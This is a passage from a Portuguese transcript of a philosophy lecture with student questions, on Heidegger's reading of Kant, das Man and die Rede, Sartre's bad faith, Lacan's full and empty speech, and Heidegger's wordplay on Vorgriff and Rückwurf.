mundo. Esse Deus não me interessa. O que me interessa é o Deus de Abraão, de
Issac e de jacó. E esse não pode aparecer na atmosfera do conceito. O
Kierkegaard  dizia: não é na esfera do conceito que Ele aparece. O Heidegger,
de uma certa maneira descobre simultaneamente o Husserl e o Kierkegaard. Então,
não é que ele acaba com o intellectus archetypus, acaba com Deus,
finitude, mundo infinito… Porque isto é o que ocorre com o pensamento. O
pensamento não é a mesma coisa que a poesia, não é a mesma coisa que os deuses
seriam. Bom, na última frase ele não vai mais falar de Deus, mas de deuses,
Nietzsche, poesia. Daí, ele volta ao romantismo alemão, volta ao Hölderlin. Mas
isso deixemos de lado.

 

ALUNO:
Professor, o Sartre faz referência ao Kierkegaard, diz que a maior importância
dele foi afirmar contra o Hegel a paixão em vida (?). O sofrimento individual
(???) como Hegel propunha no espírito, isso é sempre individual. Por essa
afirmação, ele vai dizer que o Kierkegaard foi o primeiro existencialista.

 

Ele vai dizer:
Pascal era o primeiro. O Sartre diz: o Pascal descobriu a dimensão existencial
e a dimensão da historicidade. Mas ele fica com um pouco de pé atrás. Mas no
caso Heidegger, eu gosto de lembrar também que o Dasein, pertence à
estrutura essencial do Dasein, o modo de existir, de sair de si mesmo,
de ex-sistere. Tem uma pré-compreensão do Ser. Mas tudo se passa como se
o Dasein, o ser humano, pra ser simples, este ser que nós somos, não
como espécie natural, esse modo de ser que nós somos, que implica a linguagem e
o mundo etc. Ser no mundo, logos, a idéia. Ele pode fugir, ele pode
renegar a sua auto-condição na forma do das Mann, die Rede. Das Mann é o “a gente”.

 

 

 

 

Você se separa
da sua ipseidade, você se integra numa entidade impessoal e a sua linguagem se
externaliza para manter a consistência do mundo. É o correspondente da má-fé no
Sartre. Má-fé não é simplesmente sacanagem. Má-fé é simplesmente negar a sua
própria liberdade. Ele tem aquela descrição pro comportamento má-fé… A moça
que tá com o candidato a namorado, tomando um chope num boteco e o candidato a
namorado põe a mão na mão dela. Daí ela fica numa situação difícil. Porque ela
não quer propriamente namorar, ela não tá interessada no cidadão, mas também
não quer desmanchar a situação presente, que tem alguma fascinação. Então, no
fundo é como se ela dissesse: esta mão não é minha. Ela se torna uma
coisa-em-si. O cinzeiro aqui do meu lado e a minha mão do outro lado que não
tem nada que ver comigo. Quer dizer, é a fuga á liberdade. No fundo, digamos, a
alienação, pra usar uma expressão que, no vocabulário do Sartre, entra
corretamente. Tornar-se coisa. No caso Heidegger, não tem exatamente esta
dimensão, mas é destornar-se Dasein. No fundo, não é muito diferente.

 

ALUNO:
Professor, então não seria o caso de Gerede, ao invés de Rede,
ali?

 

Não, Rede,
ele fala die Rede é o papo.

 

ALUNO: Porque
ele opõe isso a quê? Ao discurso?

 

Contra Rede ele opõe poesia e pensamento. Opõe aquilo que ele chama de autenticidade. A
oposição que vai reaparecer no Sartre como o ser autêntico e  o ser
inautêntico.

 

ALUNO: E que
aparece no Lacan como fala plena e fala vazia.

 

Aparece no Lacan
surpreendentemente ao meu ver. Na fase estruturalista do Lacan, você tem essa
oposição, que cheira muito à filosofia da existência, e que aparentemente é
pouco compatível com o  formalismo da teoria do significante.

 

ALUNO: Mas pra
ele essa dimensão existencial é essencial.

 

Seguramente. Die
Rede
é fala vazia, isto é, é papo furado, é linguagem estereotipada, aquilo
que se diz, aquilo que as pessoas dizem em geral. O estereótipo, digamos. Por
oposição, digamos, à expressão da experiência vivida livremente, naquilo que
ela tem de subversivo. O que é que ela tem de subversivo? Ela subverte o mundo,
porque ela dissolve o mundo no nada. É por isso que a angústia tem a mesma
função no Heidegger e no seu discípulo, de mesmo tamanho que ele, que é o
Sartre. Mas essa passagem é uma passagem que pode ser pensada ética, quase
psicanaliticamente, psicologicamente. As idéias de má-fé, de Stimmung.
Bom, Stimmung é um sentimento, má-fé é uma forma de comportamento, uma
forma de ação. Nós tamos falando aí do que há de mais antropológico possível,
aparentemente. Mas tanto no caso do Heidegger quanto no caso  do Sartre, essas
noções remetem imediatamente à passagem do ôntico ao ontológico. Porque na
direção da Angst e da autenticidade, você tem a experiência da falta de
fundamento do Ser.A descoberta do sentido do Ser é a descoberta da identidade
do Ser e do nada, que é de alguma maneira a idéia de uma vida finita, o sujeito
é finito.

 

ALUNO: Esse
fundo da liberdade, da má-fé, é a mesma coisa como o conformismo em Fromm?

 

Eu acho que há
uma desproporção entre a riqueza do pensamento desses autores que a gente tá
abordando e o Eric Fromm. Mas o background é o mesmo. Eu acho que é porque
quando ele utiliza a palavra das Mann, ele diz, as pessoas dizem assim,
as pessoas agem assim. Bom, isso de alguma maneira aponta para a essência do
conformismo. E no caso do Sartre também, ele diz: O Ser e o Nada é um
livro só de ontologia, a ética eu não escrevi. Mas é claro que essa ontologia
aponta para uma ética.

O Princípio
Supremo de Todos os Juízos Sintéticos
. “Aquilo a que Kant se chocou e
que ele tenta sempre novamente captar como o advento fundamental, ei-lo
”.
Qual é o limite, qual é o alvo – ao mesmo tempo alvo e limite, né!? “Nós homens
somos capazes de conhecer o ente que não somos nós mesmos, embora não o
tenhamos fabricado, não o tenhamos feito
”. Esse é o problema: como é que eu
posso conhecer um negócio que eu não…? Como é que o espírito pode legislar
sobre uma natureza que ele…? o Kant diz: o nosso espírito só encontra na
natureza aquilo que ele nela põe. Isso é conhecer. Mas essa natureza não foi
criada pelo homem. Como é que posso impor lei a um troço que não criei. “Estar
sendo no meio de um face-a-face aberto com o ente, eis o que não deixa de
surpreender
”. O que não deixa de surpreender é o estar no mundo.“Na
concepção kantiana, isto quer dizer: os objetos são considerados enquanto eles
são, eles mesmos, embora seja apenas por nós que lhes advenha o deixar-se abrir
”.
Como é que uma coisa dessa é possível? Isto é, os objetos são eles mesmos, não
criados por nós, mas eles se deixam revelar por nós. Eles se deixam abrir por
nós. Como é que isso é possível? “Isso só é possível de uma maneira: as
condições de possibilidade da experiência são ao mesmo tempo as condições do
ter em face, do
Gegenstehens (?) dos objetos da experiência”.
Quer dizer, ele tá traduzindo aquilo que ele acabou de dizer atrás, ele tá
dando uma interpretação ontológica. Quer dizer, o espaço e o tempo enquanto
intuições puras e as categorias enquanto conceitos puros são ao mesmo tempo as
condições de possibilidade de nosso enfrentamento com os objetos da
experiência. “O que é assim expresso, Kant o dispôs como o princípio supremo
de todos os juízos sintéticos. Vemos claramente, doravante, o que significa o
curso circular da demonstração dos princípios. Nada mais do que isto: (…)
”.
Agora ele vai dizer a verdade final. Essa é a moral da história. “No fundo
os princípios se limitam a exprimir sempre o princípio supremo. Mas de tal
sorte que em sua co-pertinência eles nomeiam propriamente tudo o que pertence
ao pleno teor da essência da experiência e da essência de um objeto
”. Bom,
isso me parece fortemente abstrato. Essa circularidade dos princípios, a idéia
de um princípio último dos juízos sintéticos a priori, e que é nesse princípio
último que nós encontramos a expressão, a raiz dessa circularidade que
transforma o problema do conhecimento no enigma de como nós estamos diante de
objetos que nós somos capazes de abrir sem tê-los criado. “A dificuldade
maior da compreensão dessa passagem fundamental da
Crítica da Razão Pura e
a compreensão de toda a obra reside nisso: que nós somos tributários dos modos
de pensar cotidianos e científicos e que nós os lemos nessa perspectiva
”. O
Kant é complicado, é difícil de entender porque nós tamos limitados por uma
perspectiva que é avessa, que é a da vida cotidiana, do conhecimento
científico, do das Mann. “Nós nos voltamos seja em direção ao que é
dito do objeto, seja em direção daquilo que é daquilo que é debatido quanto aos
modos de experiência. Mas o que é decisivo não é considerar nem um lado nem
considerar o outro, nem tampouco considerar osdois ao mesmo tempo, mas de
reconhecer, a saber:
.[quer dizer, o problema não é epistêmico] 1º Que
nós devemos nos mover sempre no entre-dois, entre homem e coisa
”. Quer
dizer, nós sabemos já que existe uma unidade profunda que o Kant não chegou
a… na alma cognoscente humana. E nós devemos nos mover no entre-dois, isto é,
entre homem e coisa (…)

Mas esse
entre-dois só subsiste, por assim dizer, enquanto nós nos movemos nele. Quer
dizer, esse entre-dois não é da ordem de um objeto, de uma coisa-em-si, mas é
do entrelace entre o eu  e a coisa. “3O. Que esse entre-dois não
está tendido como uma corda da coisa ao homem…”
Não é uma espécie de
ligação de arame entre dois entes…

 

ALUNO: É uma
cela

 

Bom, aqui ele
usou outra metáfora. Mas enfim sempre um tertius, um terceiro elemento que liga
A a B. Isto é, esse entre-dois não é um terceiro elemento que liga dois
elementos heterogêneos. “Mas que esse intervalo, enquanto pré-captação,
estende seu alcance para além da coisa, ao mesmo tempo que no movimento de
retorno ele tem alcance para atrás de nós. A pré-captação é retro-jeto.”
Bom,
aqui eu entendi. Tem homem e coisa. Ele diz: o essencialé o entre dois. Mas
esse entre-dois só é, só tem consistência enquanto há essa relação. Ele não
existe como um espaço que é habitado ocasionalmente por esses dois elementos e
que poderia ter, além deles, girafas, elefantes, mesas de sinuca etc. Não. É
essa tensão entre esses dois elementos que é co-extensiva ao entre-dois. Agora,
também, não é um terceiro termo que liga. Ele é o onde eles se encontram. Não é
um terceiro elemento, mas é um onde que só subsiste enquanto subsiste esse
encontro. Quer dize, não é um pano de fundo terceiro. Não é nem uma corrente de
ferro que liga o homem à coisa, não é nem um espaço que recebe o homem e a
coisa, mas um espaço que se abre na medida em que esses dois se encontram.

 

ALUNO: Não é uma
via de acesso… É um campo.

 

Não.

 

ALUNO: Eu acho
que é uma via de acesso, mas ela só existe enquanto nós nos movimentamos nela.

 

Eu tô remetendo
não a esse texto, mas à abertura, que nós comentamos muito rapidamente a
primeira secção, que ele fala dos passos que abrem o caminho, que não percorrem
um caminho já pronto. O pensamento não tem um mapa já pronto e não tem um
itinerário a ser seguido. É um andar que cria o seu próprio caminho. O que ele
diz do pensamento, ele diz aí do Ser. Esse espaço só existe enquanto há essa
tensão entre homem e coisa.

 

ALUNO: Poderia
ser a linguagem esse entre-dois?

 

Ele não tá
falando de linguagem, mas certamente é. Mit-sein. Porque ele fala: homem
e coisa. Então você imagina um homem. Não é isso que se está pensando.
Quando você fala em linguagem, você fala em homens. Sem dúvida, pertence à
essência da coisa poder ser dita. Se ela não é dizível diretamente ou
indiretamente, ela não é coisa. Portanto, a linguagem ‘tá aí. Mas ele não ‘tá
tematizando a linguagem, pelo menos até aqui. Mas o que eu gosto é que essa
pré-captação é retrojeção. Isto é, esse entre-dois está para além da coisa e
para aquém da gente. Mas não pré-existe à nossa relação. O trocadilho é Vorgriff
Bom, vocês sabem o que é Begriff, Begriff é conceito. Begreiffen
é originariamente uma mão que capta, uma pata de uma águia que pega um
passarinho. Aqui ele fala de Vorgriff, de pré-preensão.

 

ALUNO: Vorgreffen quer dizer avançar. O sentido primeiro é avançar.

 

Para você
previamente captar algo, você tem a idéia do movimento. Quer dizer, antes da
presa pintar, você já ‘tá… Isto é, Rückwurf. Wurf é
simplesmente lançar, né? Rückwurf é lançar para trás. Ele interpreta
essa idéia de intencionalidade, essa idéia de que toda consciência remete ao
não-si. Trans-cendere, lançar-se para fora. Entwurf – projeto.
Mas, Entwurf é lançar-se pra frente. Aí ele ‘tá falando do Rückwurf,
um lançar-se pra trás. Quer dizer, tudo se passa como se essa relação aqui
remete para o pré-humano e para o pós-coisal.

 

 

    

 

 

Embora só exista
dentro dessa operação, quer dizer, esse pré-humano e esse pós-coisal aqui não
pré-existem ao homem e à coisa. É mais ou menos isso, né? É a idéia de
horizonte, de horizonte finito.

 

ALUNO: Quando o
Heidegger utiliza essa grafia, pondo o hífen entre as palavras, ele faz isso no
sentido de obter um ganho semântico ou mais no sentido de remeter a um sentido
originário?

 

Acho que as duas
coisas. Isso é coisa de alemão. O Márcio Suzuki tava falando por exemplo do
texto do Novalis, que promove o gênero literário do fragmento. Acho que em
alemão é Fragment e que originariamente não tem o sentido senão de
pedaço, de recorte. Agora, ele divide a palavra, como quem diz: FrageMent.
Dizendo: a forma literária do fragmento tem alguma coisa de essencialmente
interrogativa. No Heidegger, você tem a preocupação do historiador
…(inaudível) Por exemplo, ele diz: bom, o pessoal explica a palavra entelécheia.
No Aristóteles, significa forma, substância. E se esquecem o que essa palavra
significava antes do uso filosófico: en telos ekein que quer dizer
“possuir dentro de certos limites”. Ele diz: significava pequena propriedade
rural fechada. Em (???) Deutsch, você tem Anwesenheit, que
significava pequena propriedade rural fechada. Anwesenheit – presença
… (inaudível) Bom, então tem essa dimensão, que é uma dimensão
filológico-especulativa. Porque os inimigos do Heidegger diziam: o dicionário
de alemão dele é do século XIX, a filologia dele não tem teor científico e tal.
Agora, por outro lado, ele tem essa dimensão especulativa, expressiva, como
aqui, como no Novalis. O Novalis não ‘tá querendo restituir o sentido
obliterado pela história da língua ou relembrar um sentido esquecido. Não. Ele
quer usar a linguagem de maneira a fazer a linguagem soar, como diz o Mallarmé,
se não me engano: donner un noveaux sens aux mots de la tribu. Vocês se
lembram que o Bacon fala do idola tribus, da linguagem como obstáculo ao
conhecimento e tal etc. São as representações da tribo. A linguagem de uma
certa comunidade local que condena o sujeito a uma certa mitologia, a uma visão
pré-científica do mundo.

 

ALUNO: O Proust
dizia que era preciso torcer as palavras por conta das necessidades do
inefável.

 

É nessa direção
aqui que ele diz: dar um novo sentido às palavras da tribo, às palavras que têm
um significado paupérrimo. Você acende as velas da palavra. Aqui, Fragment nunca teve brilho. Mas se você divide a palavra ela passa a iluminar o mundo de
maneira diferente. No caso do Heidegger, tanto Vorgriff quanto Rückwurfsão jogos de palavra que ele ‘tá fazendo com a intenção de produzir
efeitos significativos que subvertem o uso comum da linguagem. Então, dão o que
pensar. Mas a sua questão é boa porque tem as duas coisas nele, né?

 

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